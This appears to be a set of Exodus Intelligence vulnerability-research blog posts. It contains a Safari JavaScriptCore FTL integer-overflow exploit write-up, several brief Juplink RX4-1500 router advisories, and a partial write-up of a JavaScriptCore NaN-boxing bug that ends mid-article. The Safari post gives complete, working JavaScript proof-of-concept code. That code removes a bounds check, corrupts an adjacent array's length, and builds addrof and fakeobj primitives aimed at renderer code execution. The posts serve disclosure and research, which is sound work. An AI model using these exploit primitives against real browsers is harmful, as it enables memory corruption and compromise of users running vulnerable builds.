Our vulnerability is basically an addition/subtraction operation without overflow checks. Therefore, it would be interesting to take a look at how the range for the ArithAdd DFG node (which will be lowered to CheckAdd/CheckSub nodes when DFG is lowered to B3 IR) is calculated. This is far more complicated than the previous cases, so some relevant parts and code are discussed.

The following code shows the initial logic of computing the ranges for the ArithAdd node.

				
					// File Name: Source/JavaScriptCore/dfg/DFGIntegerRangeOptimizationPhase.cpp
// WebKit svn changeset: 266775

// Handle add: @value + constant.
if (!node-﹥child2()-﹥isInt32Constant())
    break;

int offset = node-﹥child2()-﹥asInt32();

// We add a relationship for @add == @value + constant, and then we copy the
// relationships for @value. This gives us a one-deep view of @value's existing
// relationships, which matches the one-deep search in setRelationship().

setRelationship(
    Relationship(node, node-﹥child1().node(), Relationship::Equal, offset));
				
			

As the comment says, if the statement is something like let var2 = var1 + 4, then the Relationship for var2 is initially set as @var2 = @var1 + 4. Further down, the Relationship for var1 is used to calculate the precise range for var2 (the result of the ArithAdd operation). Thus, with the code in the JavaScript snippet highlighted below, the range of the add variable, which is the result of the add operation, is determined as (4, INT_MAX). Due to the CompareGreater node, DFG already knows that num is in the range (0, INT_MAX) and therefore, after the add operations, it becomes (4, INT_MAX).

				
					function jit(num){
    if (num ﹥ 0){
        let add = num + 4;
        return add;
    }
}
				
			

Similarly, an upper range can be enforced by introducing a CompareLess node that compares with an array length as shown below.

				
					function jit(num){
    let array = [1,2,3,4,5,6,7,8,9,10];
    if (num ﹥ 0){
        let add = num + 4;
        if (add ﹤ array.length){
        
[1]
            return array[add];
        }
    }
}
				
			

Thus in this code, the range of the add variable at [1] is (0, array.length) which is in bounds of the array and thus the bounds check is removed.

Abusing DFG to eliminate the Bounds Check

In summary, if we have the following code:

				
					function jit(num){
    num = num | 0;
    let array = [1,2,3,4,5,6,7,8,9,10];
    if (num ﹥ 0){                          // [1]
        let add = num + 4;                  // [2]
        if (add ﹤ array.length){           // [3]
            return array[add];              // [4]
        }
    }
}
				
			

At [2], DFG knows that the variable add is greater than 0 due to it passing the check at [1]. Similarly, at [4] it knows that the add variable is less than array.length due to it passing the check at [3]. Putting both of these together, DFG can see that the addvariable is greater than zero and less than array.length when the execution reaches [4], where the element with index add is retrieved from the array. Thus DFG can safely say that the range of add at [4] is [4, array.length]; it removes the bounds check as it assumes that the check will always pass. Now, what would happen if an integer overflow happens on [2], where add is calculated as num + 4? DFG relies on the fact that all these arithmetic operations are checked for an overflow and if an overflow happens, the code will bail out of the JIT-compiled code. This is the assumption that we want to break.

Now that the bounds check has successfully been removed by DFG, triggering the bug will be a whole lot easier. Let’s dig in!

FTL will convert the DFG IR into the B3 representation and perform various optimizations. One of the early optimizations is strength reduction, which performs a variety of optimizations like constant folding, simple common sub-expression elimination, simplifying nodes to a lower form (eg – CheckSub -> Sub), etc. The code in the following snippet shows a simple and unstable proof of concept for triggering the bug.

				
					function jit(idx){
    // The array on which we will do the oob access
    let a = [1,2,3,4,5,6,7,8,9,0,12,3,4,5,6,7,8,9,23,234,423,234,234,234]; 

[1]
    // Inform the compiler that this is a number 
    // with range [0, 0x7fff_ffff]
    let id = idx & 0x7fffffff;  
    
[2]
    // Bug trigger - This will overflow if id is large enough. 
    // FTL thinks range is [0, INT_MAX], Actual range is [INT_MIN, INT_MAX]
    let b = id ﹤﹤ 2;   
    
[3]
    // Tell DFG IR that b is less than array length. 
    // According to DFG, b is in [INT_MIN, array.length)
    if (b ﹤ a.length){            
    
[4]
        // On exploit run - convert the overflowed value 
        // into a positive value. 
        let c = b - 0x7fffffff;  
        
[5]
        // force jit else dfg will update with osrExit
        if (c ﹤ 0) c = 1;   
        
[6]
        // Tell DFG that 'c' ﹥ 0. It already knows c is less than array.length. 
        if (c ﹥ 0){          
        
[7]
            // DFG thinks that c is inbounds, range = [0, array.length). 
            // Thus it removes bounds check and this is oob
            return a[ c ];          
        }
        else{
            return [ c ,1234]
        }
    }
    else{
        return 0x1337
    }
}

function main(){

    // JIT compile the function with legitimate value 
    // to train the compiler
    for (let k=0; k﹤1000000; k++){jit(k %10);}  
    
    // Trigger the bug by passing the argument as 0x7fff_ffff 
    print(jit(2147483647))                       
}
main()
				
			

The above PoC is just a modification of what was discussed at the start of this section. As before, there is no CheckInBounds node for the array load at [7].

Note that the DFG compiler thinks that the code at [4], b - 0x7ffffff, will never overflow because DFG assumes that this operation is checked, and thus an overflow would cause a bail out from the JIT code.

In B3, the range of b at [2] is incorrectly calculated as [0, 0x7fff_ffff] (due to the integer overflow bug we discussed earlier). This leads to the incorrect lowering of c at [4] from CheckSub to Sub as B3 now assumes that the sub-operation never overflows. This breaks the assumptions made by DFG to remove the bounds check because it is possible for b - 0x7ffffff to overflow and attain a large positive value. When running the exploit, the value of b becomes0x7fff_ffff << 2 = 0xffff_fffc (it overflows and gets converted to 32-bit). This value is -4 in hex, and when -0x7fff_ffff is added to it at [4], a signed overflow happens: -4 - 0x7fff_ffff = 0x7ffffffd. Thus the value of c (which is already verified by DFG to be less than the array length) becomes more than array.length. This crashes JSC when it tries to use this huge value to do an out-of-bounds read.

On a side note, [5] (if (c < 0) c = 1) forces the JIT compilation of [7] even if the bug is not triggered, as otherwise [7] will never be executed (it is unreachable with normal inputs) when the main function is getting JIT-compiled.

Though this PoC crashes JSC, it is essentially an uncontrolled value and might not even crash as it is possible that the page that it is trying to read is mapped with read permissions. Thus, unless we want to spray gigabytes of memory to exploit the out-of-bounds read, we need to control this value for more stability and exploitability.

Controlling the Out-of-Bounds Read/Write

After some tests, we found that single decrements to the index do not break the assumptions made by the DFG optimizer. Hence to better control the out-of-bounds index, it can be single-decremented a desired number of times before the length check. The final version of the jit() function that provides full control over the out-of-bounds index, as well as functions in the Safari browser, is highlighted in the following PoC.

				
					function jit(idx, times,val){
    let a = new Array(1.1,2.2,3.3,4.4,5.5,6.6,7.7,8.8,9.9,10.10,11.11);
    let big = new Array(1.1,2.2,3.3,4.4,5.5,6.6,7.7,8.8,9.9,10.10,11.11);
    let new_ary = new Array(1.1,2.2,3.3,4.4,5.5,6.6,7.7,8.8,9.9,10.10,11.11);
    let tmp = 13.37;
    let id = idx & 0x7fffffff;

[1]
    let b = id ﹤﹤ 2;
    
[2]
    if (b ﹤ a.length){ 
    
[3]
        let c = b - 0x7fffffff;
        
        // force jit else dfg will update with osrExit
        if (c ﹤ 0) c = 1; 
    
[4]
        // Single decerement the value of c
        while(c ﹥ 1){
            if(times ﹤= 0){
                break
            }else{
                c -= 1;
                times -= 1;
            }
        }
        
[5]
        if (c ﹥ 0){
[6]
            tmp = a[ c ];

[7]
            a[ c ] = val;
            return [big, tmp, new_ary];
        }
    }
}

function main(){

[8]
    for (let k=0; k﹤1000000; k++){jit(k %10,1,1.1);}
    let target_length = 7.82252528543333e-310;         // 0x900000008000

[9]
    print(jit(2147483647, 0x7ffffff0,target_length));
}
main()
				
			

The function jit() is JIT-compiled at [8]. There is no CheckInBounds for the array load at [6] for the reasons discussed above. The jit() call at [9] triggers the bug by passing a value of 0x7fffffff to the jitted function. When this is passed, the value of b at [1] becomes -4 (result of 0x7fffffff << 2 wrapped to 32 bits becomes 0xfffffffc). This is obviously less than a.length (b is negative, and it is a signed comparison) so it passes the check at [2]. The subtract operation at [3] does not check for overflow and results in c obtaining a large positive value (0x7ffffffd) due to an integer overflow. This can be further reduced to a controlled value by doing single decrements, which the while loop at [4] does. At the end of the loop, c contains a value of 0xd. Now this is greater than zero, so it passes the check at [5] and ends up in a controlled out-of-bounds read at [6] and an out-of-bounds write at [7]. This ends up corrupting the length field of the array that lies immediately after the array a (the big array) and sets its length and capacity to a huge value. This results in the big array being able to read/write out-of-bounds values over a large extent on the heap.

Note that in the above PoC, we are writing out of bounds to corrupt the length field of the big array. We are writing an 8-byte double value, so we write 0x9000_00008000 encoded as a double. The lower 4 bytes of this value (i.e. 0x8000) signify the length, and the upper 4 bytes (0x9000) is the capacity we are setting.

In order to control the OOB read, an attacker can just change the value of the times argument for the jit() function at [9]. Let us now leverage this to gain the addrof and fakeobj primitives!

The addrof and fakeobj Primitives

The addrof primitive allows us to get an object’s address, while the fakeobj primitive gives us the ability to load a crafted fake object. Refer to the Phrack article by Samuel Groß for more details.

The addrof primitive can be achieved by reading out of bounds from an ArrayWithDouble array to read an object pointer. The fakeobj primitive can be achieved by writing the address as a double into an ArrayWithContiguous array using an out-of-bounds read. The following leverages the bug we see to attain this.

The out-of-bounds write is used to corrupt the length and capacity of the big array which is adjacent to the array a. This provides an ability to do a clean out-of-bounds read/write into the new_ary array from the big array. After the length and capacity of the big array are corrupted, both the big and new_ary arrays are returned to the calling function.

Let the arrays returned from the jit() function be called oob_rw_ary and confusion_ary. Initially, both of them are of the ArrayWithDouble type. However, for the confusion_ary  array, we force a structure transition to the ArrayWithContiguous type.

				
					function pwn(){
log("started!")

    // optimize the buggy function
    for (let k=0; k﹤1000000; k++){jit_bug(k %10,1,1.1);}

    let oob_rw_ary = undefined;
    let target_length = 7.82252528543333e-310; // 0x900000008000
    let target_real_len = 0x8000
    let confusion_ary = undefined;

    // Trigger the oob write to edit the length of an array
    let res = jit_bug(2147483647, 0x7ffffff0,target_length)
    oob_rw_ary = res[0];
    confusion_ary = res[2];
    
    // Convert the float array to a jsValue array
    confusion_ary[1] = {}; 
    log(hex(f2i(res[1])) + " length -﹥ "+oob_rw_ary.length);

    if(oob_rw_ary.length != target_real_len){
        log("[-] exploit failed -&gt; bad array length; maybe not vulnerable?")
        return 1;
    }

    // index of confusion_ary[1]
    let confusion_idx = 15; 
}
				
			

At this point, the necessary setup for the addrof and fakeobj primitives is done. Since the oob_rw_ary array can go out of bounds to the confusion_ary array, it is possible to write object pointers as doubles into it.

The addrof primitive is achieved by writing an object to the confusion_ary array and then reading it out-of-bounds as a double from the oob_rw_ary array.

Similarly, the fakeobj primitive is implemented by writing an object pointer out-of-bounds as a double to the oob_rw_ary array and then reading it as an object from confusion_ary.

				
					
    function addrof(obj){
        let addr = undefined;
        confusion_ary[1] = obj;
        addr = f2i(oob_rw_ary[confusion_idx]);
        log("[addrof] -﹥ "+hex(addr));
        return addr;
    }

    function fakeobj(addr){
        let obj = undefined;
        log("[fakeobj] getting obj from -﹥ "+hex(addr));
        oob_rw_ary[confusion_idx] = i2f(addr)
        obj = confusion_ary[1];
        confusion_ary[1] = 0.0; // clear the cell
        log("[fakeobj] fakeobj ok");
        return obj
    }
				
			

And there we go! We have successfully converted the bug into a stable addrof and fakeobj primitives!

All together

Let us put all this together to see the full PoC that achieves the addrof and fakeobj from the initial bug:

				
					var convert = new ArrayBuffer(0x10);
var u32 = new Uint32Array(convert);
var u8 = new Uint8Array(convert);
var f64 = new Float64Array(convert);
var BASE = 0x100000000;
let switch_var = 0;
function i2f(i) {
    u32[0] = i%BASE;
    u32[1] = i/BASE;
    return f64[0];
}

function f2i(f) {
    f64[0] = f;
    return u32[0] + BASE*u32[1];
}

function unbox_double(d) {
    f64[0] = d;
    u8[6] -= 1;
    return f64[0];
}

function hex(x) {
    if (x ﹤ 0)
        return `-${hex(-x)}`;
    return `0x${x.toString(16)}`;
}

function log(data){
    print("[~] DEBUG [~] " + data)
}


function pwn(){
	log("started!")

    /* The function that will trigger the overflow to corrupt the length of the following array */

    function jit_bug(idx, times,val){
        let a = new Array(1.1,2.2,3.3,4.4,5.5,6.6,7.7,8.8,9.9,10.10,11.11);
        let big = new Array(1.1,2.2,3.3,4.4,5.5,6.6,7.7,8.8,9.9,10.10,11.11);
        let new_ary = new Array(1.1,2.2,3.3,4.4,5.5,6.6,7.7,8.8,9.9,10.10,11.11);
        let tmp = 13.37;
        let id = idx & 0x7fffffff;
        let b = id ﹤﹤ 2;
        if (b ﹤ a.length){ 
            let c = b - 0x7fffffff;
            if (c ﹤ 0) c = 1; // force jit else dfg will update with osrExit
            while(c ﹥ 1){
                if(times == 0){
                    break
                }else{
                    c -= 1;
                    times -= 1;
                }
            }
            if (c ﹥ 0){
                tmp = a[ c ];
                a[ c ] = val;
                return [big, tmp, new_ary]
            }
        }
    }

    for (let k=0; k﹤1000000; k++){jit_bug(k %10,1,1.1);} // optimize the buggy function

    let oob_rw_ary = undefined;
    let target_length = 7.82252528543333e-310; // 0x900000008000
    let target_real_len = 0x8000
    let confusion_ary = undefined;

    // Trigger the oob write to edit the length of an array
    let res = jit_bug(2147483647, 0x7ffffff0,target_length)
    oob_rw_ary = res[0];
    confusion_ary = res[2];
    confusion_ary[1] = {}; // Convert the float array to a jsValue array
    log(hex(f2i(res[1])) + " length -﹥ "+oob_rw_ary.length);

    if(oob_rw_ary.length != target_real_len){
        log("[-] exploit failed -﹥ bad array length; maybe not vulnerable?")
        return 1;
    }

    let confusion_idx = 15; // index of confusion_ary[1]

    function addrof(obj){
        let addr = undefined;
        confusion_ary[1] = obj;
        addr = f2i(oob_rw_ary[confusion_idx]);
        log("[addrof] -﹥ "+hex(addr));
        return addr;
    }

    function fakeobj(addr){
        let obj = undefined;
        log("[fakeobj] getting obj from -﹥ "+hex(addr));
        oob_rw_ary[confusion_idx] = i2f(addr)
        obj = confusion_ary[1];
        confusion_ary[1] = 0.0; // clear the cell
        log("[fakeobj] fakeobj ok");
        return obj
    }

    /// Verify that addrof works
    let obj = {p1: 0x1337};
    // print the actual address of the object
    log(describe(obj));
    // Leak the address of the object
    log(hex(addrof(obj)));

    /// Verify that the fakeobj works. This will crash the engine
    log(describe(fakeobj(0x41414141)));
}
pwn();
				
			

This will leak the address of the obj object with addrof() and try to create a fake object on the address 0x41414141 which will end up crashing the engine. This should work on any version of a vulnerable JSC build.

Conclusion

We discussed a vulnerability we found in 2020 in the FTL JIT compiler, where an incorrect range computation led to an integer overflow. We saw how we could convert this integer overflow into a stable out-of-bounds read/write on the JavaScriptCore heap and use that to create the addrof and fakeobj primitives. These primitives allow a renderer code execution exploit on Intel Macs.

This bug was patched in the May 2021 update to Safari. The patch for this vulnerability is simple: if an overflow occurs, then the upper and lower bounds are set to the Max and Min value of that type respectively.

The vulnerability patch

We hope you enjoyed reading this. If you are hungry for more, make sure to check our other blog posts.

About Exodus Intelligence

Our world class team of vulnerability researchers discover hundreds of exclusive Zero-Day vulnerabilities, providing our clients with proprietary knowledge before the adversaries find them. We also conduct N-Day research, where we select critical N-Day vulnerabilities and complete research to prove whether these vulnerabilities are truly exploitable in the wild.

For more information on our products and how we can help your vulnerability efforts, visit www.exodusintel.com or contact [email protected] for further discussion.

The post Shifting boundaries: Exploiting an Integer Overflow in Apple Safari appeared first on Exodus Intelligence.

Juplink RX4-1500 Stack-based Buffer Overflow Vulnerability

23 August 2023 at 21:36

EIP-b5185f25

A stack-based buffer overflow exists in Juplink RX4-1500, a WiFi router. An authenticated attacker can exploit this vulnerability to achieve code execution as root.

Vulnerability Identifiers

  • Exodus Intelligence: EIP-b5185f25
  • MITRE: CVE-2023-41028

Vulnerability Metrics

  • CVSSv2 Vector: AV:A/AC:L/Au:S/C:C/I:C/A:C
  • CVSSv2 Score: 7.7

Vendor References

  • The affected product is end-of-life and no patches are available.

Discovery Credit

  • Exodus Intelligence

Disclosure Timeline

  • Vendor response to disclosure: August 21, 2021
  • Disclosed to public: August 23, 2023

Further Information

Readers of this advisory who are interested in receiving further details around the vulnerability, mitigations, detection guidance, and more can contact us at [email protected].

Researchers who are interested in monetizing their 0day and Nday can work with us through our Research Sponsorship Program (RSP).

The post Juplink RX4-1500 Stack-based Buffer Overflow Vulnerability appeared first on Exodus Intelligence.

Juplink RX4-1500 Credential Disclosure Vulnerability

18 September 2023 at 17:23

EIP-3fd79566

A credential disclosure vulnerability exists in Juplink RX4-1500, a WiFi router. An authenticated attacker can exploit this vulnerability to achieve code execution as root.

Vulnerability Identifiers

  • Exodus Intelligence: EIP-3fd79566
  • MITRE: CVE-2023-41027

Vulnerability Metrics

  • CVSSv2 Vector: AV:A/AC:L/Au:S/C:C/I:C/A:C
  • CVSSv2 Score: 7.7

Vendor References

  • The affected product is end-of-life and no patches are available.

Discovery Credit

  • Exodus Intelligence

Disclosure Timeline

  • Vendor response to disclosure: July 30, 2020
  • Disclosed to public: September 18, 2023

Further Information

Readers of this advisory who are interested in receiving further details around the vulnerability, mitigations, detection guidance, and more can contact us at [email protected].

The post Juplink RX4-1500 Credential Disclosure Vulnerability appeared first on Exodus Intelligence.

Juplink RX4-1500 homemng Command Injection Vulnerability

18 September 2023 at 17:30

EIP-57838768

A command injection vulnerability exists in Juplink RX4-1500, a WiFi router. An authenticated attacker can exploit this vulnerability to achieve code execution as root.

Vulnerability Identifiers

  • Exodus Intelligence: EIP-57838768
  • MITRE: CVE-2023-41031

Vulnerability Metrics

  • CVSSv2 Vector: AV:A/AC:L/Au:S/C:C/I:C/A:C
  • CVSSv2 Score: 7.7

Vendor References

  • The affected product is end-of-life and no patches are available.

Discovery Credit

  • Exodus Intelligence

Disclosure Timeline

  • Vendor response to disclosure: July 30, 2020
  • Disclosed to public: September 18, 2023

Further Information

Readers of this advisory who are interested in receiving further details around the vulnerability, mitigations, detection guidance, and more can contact us at [email protected].

The post Juplink RX4-1500 homemng Command Injection Vulnerability appeared first on Exodus Intelligence.

Juplink RX4-1500 Command Injection Vulnerability

18 September 2023 at 17:46

EIP-9f56ea7e

A command injection exists in Juplink RX4-1500, a WiFi router. An authenticated attacker can exploit this vulnerability to achieve code execution as root.

Vulnerability Identifiers

  • Exodus Intelligence: EIP-9f56ea7e
  • MITRE: CVE-2023-41029

Vulnerability Metrics

  • CVSSv2 Vector: AV:A/AC:L/Au:S/C:C/I:C/A:C
  • CVSSv2 Score: 7.7

Vendor References

  • The affected product is end-of-life and no patches are available.

Discovery Credit

  • Exodus Intelligence

Disclosure Timeline

  • Vendor response to disclosure: July 30, 2020
  • Disclosed to public: September 18, 2023

Further Information

Readers of this advisory who are interested in receiving further details around the vulnerability, mitigations, detection guidance, and more can contact us at [email protected].

The post Juplink RX4-1500 Command Injection Vulnerability appeared first on Exodus Intelligence.

Juplink RX4-1500 Hard-coded Credential Vulnerability

18 September 2023 at 17:52

EIP-6a41336a

Hard coded credentials exists in Juplink RX4-1500, a WiFi router. An unauthenticated attacker can exploit this vulnerability to log into the web interface or telnet service as the ‘user’ user.

Vulnerability Identifiers

  • Exodus Intelligence: EIP-6a41336a
  • MITRE: CVE-2023-41030

Vulnerability Metrics

  • CVSSv2 Vector: AV:A/AC:L/Au:N/C:P/I:P/A:P
  • CVSSv2 Score: 5.8

Vendor References

  • The affected product is end-of-life and no patches are available.

Discovery Credit

  • Exodus Intelligence

Disclosure Timeline

  • Vendor response to disclosure: July 30, 2020
  • Disclosed to public: September 18, 2023

Further Information

Readers of this advisory who are interested in receiving further details around the vulnerability, mitigations, detection guidance, and more can contact us at [email protected].

The post Juplink RX4-1500 Hard-coded Credential Vulnerability appeared first on Exodus Intelligence.

Safari, Hold Still for NaN Minutes!

11 December 2023 at 21:37

By Vignesh Rao and Javier Jimenez

Introduction

In October 2023 Vignesh and Javier presented the discovery of a few bugs affecting JavaScriptCore, the JavaScript engine of Safari. The presentation revolved around the idea that browser research is a dynamic area; we presented a story of finding and exploiting three vulnerabilities that led to gaining code execution within Safari’s renderer. This blog post extends into the second vulnerability in more detail: the NaN bug.

At the conference

NaN-boxing

To understand why we gave the name “NaN bug” to this bug, we first need to understand the IEEE754 standard.  We shall also dive into how JSValues are represented in memory by means of a technique called “NaN-boxing”.

IEEE754

JavaScriptCore uses the IEEE Standard for Floating-Point Arithmetic (IEEE754). This standard serves the purpose of representing floating point values in memory. It does so by encoding, for example on a 64-bit value (double-precision floating-point format), data such as the sign, the exponent, and the significand. There are also 16-bit (half-precision) and 32-bit (single-precision) representations that are outside of the scope of this blog post.

SignExponentSignificand
Bit 63Bits 62-52Bits 51-0

Depending on these bits, the calculation for the representation would be as follows.

  • With exponent 0: (-1)**(sign bit) * 2**(1-1023) * 1.significand

  • With exponent other than 0: (-1)**(sign bit) * 2**(exponent-1023) * 0.significand

  • With all bits of exponent set and significand is 0: (-1)**(sign bit)*Infinity

  • With all bits of exponent set and significand not 0: Not a number (NaN)

The reason why 1023 is used on the exponent is because it is encoded using an offset-binary representation which aides in implementing negative numbers with 1023 as the zero offset. In order to understand offset-binary representation, we can picture an example with a 3 digit binary exponent. In this representation it would be possible to encode up to number 7 and the offset would be 4
(2**2). This way we would encode the number 0 as (2**1) in this offset-binary representation and therefore the encoded range would be (-4, 3) corresponding to the binary range of (000, 111).

NaN

If all the bits of the exponent on the IEE754 standard representation are set, it describes a value that is not a number (NaN). These values are described in the standard as a way to establish values that are either undefined or unrepresentable. In addition, there exist Quiet and Signaling NaN values (QNaN, sNaN) which serve the purpose of either notifying of a normal undefined or unrepresentable value or, in the case of a signaling NaN, a representation to add diagnostics info (other data encoded in the payload of the value).

There are 2**51 possible values we can encode in the payload of the NaN number in the double-precision floating-point format. This allows a huge value space for implementers to encode all sorts of information. In hexadecimal, this range would be any values between 0xFFF0000000000000 and 0xFFFFFFFFFFFFFFFF.

Specifically, JavaScriptCore uses NaN values to encode different types of information.

JSValue

Most JavaScript engines choose to represent JavaScript objects in memory in a way that enables efficient handling of the values. JavaScriptCore is no exception, and to do so, it backs up JavaScript objects with the C class JSValue. It is possible to find a detailed explanation on how values in the JavaScript engine are encoded in JavaScriptCore within the file Source/JavaScriptCore/runtime/JSCJSValue.h:

				
					     *     Pointer {  0000:PPPP:PPPP:PPPP
     *              / 0002:****:****:****
     *     Double  {         ...
     *              \ FFFC:****:****:****
     *     Integer {  FFFE:0000:IIII:IIII
				
			

Raw pointers keep their upper bits (16 most-significant bits) at 0. Other specific values such as Boolean, null and undefined values share the same 0x0000 tag:

				
					     *     False:     0x06
     *     True:      0x07
     *     Undefined: 0x0a
     *     Null:      0x02
				
			

Doubles start with the upper 16-bit at 0x0002... and end with the upper 16-bit at 0xFFFC.... This is encoded by adding the constant 2**49 (0x0002000000000000) to all double values. After this addition, no double-precision value begins with 0x0000 or 0xFFFE tags. If further manipulation is required, this constant (2**49) should be subtracted before performing operations on double-precision numbers.

Integers have the upper 16-bit set to 0xFFFE..., only using the 32 least-significant bits for the actual integer values.

				
					gef>  r
Starting program: ./jsc 
>>> let obj = {f: 1.1}
undefined

[1]

>>> describe(obj);
"Object: 0x7fb9d34e0000 with butterfly (nil)(base=0xfffffffffffffff8) (Structure 0x7fb9d34d49a0:[0xe8b/3723, Object, (1/2, 0/0){f:0}, NonArray, Proto:0x7fba1501d8e8, Leaf]), StructureID: 3723"

[2]

gef>  x/32gx 0x7fb9d34e0000
0x7fb9d34e0000:	0x0100180000000e8b	0x0000000000000000
0x7fb9d34e0010:	0x3ff399999999999a	0x0000000000000000

[3]

gef>  p/x 0x3ff399999999999a - 0x0002000000000000 # 2**49
$1 = 0x3ff199999999999a
gef➤  p/f 0x3ff199999999999a
$2 = 1.1000000000000001
				
			

After defining an object with a float property f of value 1.1 we use the runtime debugging function describe to obtain the address in memory of the declared object [1]. Note that the object’s butterfly is nil. For other cases, for example arrays, this butterfly pointer would be the elements pointer – for (a lot) more information on these terms refer to this WebKit Blog. By inspecting the aforementioned object address in the debugger, at offset 0x10 the encoded double-precision value is retrieved [2]. By following the previous encoding of subtracting 2**49 from the value [3], the original double-precision value 1.1 is retrieved.

In the source code, there are helper constants to perform such manipulation of integer and double-precision values.

				
					    // This value is 2^49, used to encode doubles such that the encoded value will begin
    // with a 15-bit pattern within the range 0x0002..0xFFFC.
    static constexpr size_t DoubleEncodeOffsetBit = 49;
    static constexpr int64_t DoubleEncodeOffset = 1ll << DoubleEncodeOffsetBit;
    // If all bits in the mask are set, this indicates an integer number,
    // if any but not all are set this value is a double precision number.
    static constexpr int64_t NumberTag = 0xfffe000000000000ll;
				
			

The “NaN-boxing” techniques effectively use the payload in a NaN value to box information within the value itself, hence the name “NaN-boxing”. One of the key points of the vulnerability described within this blog post relies on abusing such encoding techniques. If an attacker were to provide unsanitized double-precision values starting at 0xFFFE..., once the engine tried to encode and store such a value by adding the 2**49 constant, the value would end up as 0xFFFE000000001234 + 2**49 = 0x0000000000001234 as it overflows, resulting in the 0x0000 tag, which corresponds to a raw pointer to 0x1234.

Vulnerability

Optimizing Compilers: DFG & FTL

DFG (Data Flow Graph) and FTL (Faster Than Light) are two of JavaScriptCore’s Just-in-Time (JIT) Optimizing Compilers. In case these concepts are new, reading about them beforehand would make understanding the following vulnerability details easier. JIT compilers have been extensively written about, including on Vignesh’s post on another Safari vulnerability.

Vulnerability Details

The vulnerability that we are going to discuss arises from the manner in which JavaScriptCore’s DFG JIT and FTL JIT optimize and compile fetching an element from a Floating point typed array. For the purpose of this blog post, we will be primarily looking at the DFG JIT code, however this same issue also existed in FTL.

Consider the following JavaScript code.

				
					let float_array = new Float64Array(10) ;
let value = float_array[0];
				
			

In the second line the float_array[0] is fetching an element from the floating point typed array. If such a statement were to be compiled by the DFG compiler, the function in the compiler responsible for converting the DFG IR into native assembly would be SpeculativeJIT::compileGetByValOnFloatTypedArray from the file Source/JavaScriptCore/dfg/DFGSpeculativeJIT.cpp. Let’s take a look at the this function.

				
					void SpeculativeJIT::compileGetByValOnFloatTypedArray(Node* node, TypedArrayType type, const ScopedLambda<std::tuple<JSValueRegs, DataFormat, CanUseFlush>(DataFormat preferredFormat)>&amp; prefix)
{
    ASSERT(isFloat(type));
    
    SpeculateCellOperand base(this, m_graph.varArgChild(node, 0));
    SpeculateStrictInt32Operand property(this, m_graph.varArgChild(node, 1));
    StorageOperand storage(this, m_graph.varArgChild(node, 2));
    GPRTemporary scratch(this);
    FPRTemporary result(this);

    GPRReg baseReg = base.gpr();
    GPRReg propertyReg = property.gpr();
    GPRReg storageReg = storage.gpr();
    GPRReg scratchGPR = scratch.gpr();
    FPRReg resultReg = result.fpr();

    JSValueRegs resultRegs;
    DataFormat format;
    std::tie(resultRegs, format, std::ignore) = prefix(DataFormatDouble);

    emitTypedArrayBoundsCheck(node, baseReg, propertyReg, scratchGPR);
    switch (elementSize(type)) {
    case 4:
        m_jit.loadFloat(MacroAssembler::BaseIndex(storageReg, propertyReg, MacroAssembler::TimesFour), resultReg);
        m_jit.convertFloatToDouble(resultReg, resultReg);
        break;
    case 8: {
    
        // [1]
    
        m_jit.loadDouble(MacroAssembler::BaseIndex(storageReg, propertyReg, MacroAssembler::TimesEight), resultReg);
        break;
    }
    default:
        RELEASE_ASSERT_NOT_REACHED();
    }
    
    // [2]
    
    if (format == DataFormatJS) {
        
        // [3]
        
        m_jit.boxDouble(resultReg, resultRegs);
        jsValueResult(resultRegs, node);
    } else {
        ASSERT(format == DataFormatDouble);
        doubleResult(resultReg, node);
    }
}
				
			

From the code snippet above, we can see that if the element size is 8 bytes, which means that the array we are accessing is a Float64Array and not a Float32Array, then at [1], the element is loaded from an index in the array into a temporary register (resultReg in the above snippet). At [2], the format parameter is checked. This parameter is telling the compiler about the type in which the loaded float is going to be used. If the compiler thinks that the loaded value is going to be used as a float in the future, then there is no need to convert it into a JSValue. In this case, the value of the format variable will be DataFormatDouble. However, if the compiler thinks that the float value that is loaded from the array is going to be used as a JSValue, then it has to convert this float into a JSValue.

As we saw in previous sections, to convert a raw double into a JSValue double, the engine adds 2**49 to the raw double. The code to do this is provided by the boxDouble() function. Therefore, if the value of the format variable is DataFormatJS, then the control reaches [3], where the boxDouble function is called with resultReg as the first argument, which contains the double element that was loaded from the array at [1]. The following listing shows the boxDouble() function.

				
					// File - Source/JavaScriptCore/jit/AssemblyHelpers.h
    void boxDouble(FPRReg fpr, JSValueRegs regs, TagRegistersMode mode = HaveTagRegisters)
    {
        boxDouble(fpr, regs.gpr(), mode);
    }

    GPRReg boxDouble(FPRReg fpr, GPRReg gpr, TagRegistersMode mode = HaveTagRegisters)
    {
    
        // [1]
        
        moveDoubleTo64(fpr, gpr);
        
        // [2]
        
        if (mode == DoNotHaveTagRegisters)
            sub64(TrustedImm64(JSValue::NumberTag), gpr);
        else {
            sub64(GPRInfo::numberTagRegister, gpr);
            jitAssertIsJSDouble(gpr);
        }
        return gpr;
    }
				
			

The double value is moved into a General Purpose Register (gpr) at [1] and then converted into a JSValue at [2]. In order to convert the double to a JSValue, the value JSValue::NumberTag is subtracted from the double value. The JSValue::NumberTag is the constant value 0xfffe000000000000 as can be seen in the Source/JavaScriptCore/runtime/JSCJSValue.h file.

The interesting part to note here is that the result of the subtraction is never checked for an integer overflow. In an ideal case, it should never overflow because in order for it to overflow the 49th bit of the double value should be set which will make it an invalid double or in other words, a NaN value. There can be multiple values for NaN, but JavaScriptCore has one representation for it and uses the value 0x7ff8000000000000, which it calls pureNaN, to represent NaN. Hence, if the argument for the boxDouble function is coming from a previous JSValue then this subtraction can never overflow.

However, if the argument to this function is a raw, user-controlled value, then the subtraction can overflow. For example, if our input to this function (fpr in the above snippet) has the value 0xfffe000012345678, then the subtraction will follow the following course:

				
					gpr = fpr                             // [1] from the above snippet
gpr = gpr - JSValue::NumberTag;       // [2] from the above snippet  
=> gpr = 0xfffe000012345678 - 0xfffe000000000000;
=> gpr = 0xfffe000012345678 + 0x0002000000000000; // taking 2's complement
=> gpr = 0x0000000012345678; // overflow happens and the top bit is discarded
				
			

As we can see, subtraction with  0xfffe000000000000 is same as addition with 2**49. In the end, the gpr ends up as a fully controlled value with all the top bits unset. However, as we discussed in the NaN-Boxing section, a JSValue with all the top bits unset represents a JSObject pointer. Therefore if we manage to control the first argument, fpr, then we can craft a pointer and get JSC into believing that this is a valid pointer to a JSObject. This works because when DFG emits the code to load a value from a Float64Array, which holds raw doubles, it never checks if the double is an “impure NaN” or in other words, if the double is a NaN value but not the pure NaN value of 0x7ff8000000000000. Due to this we can point to anywhere in memory and the engine will read such a pointer as a JS object. Effectively resulting in a straight fakeobj primitive from this bug.

Path to trigger the bug

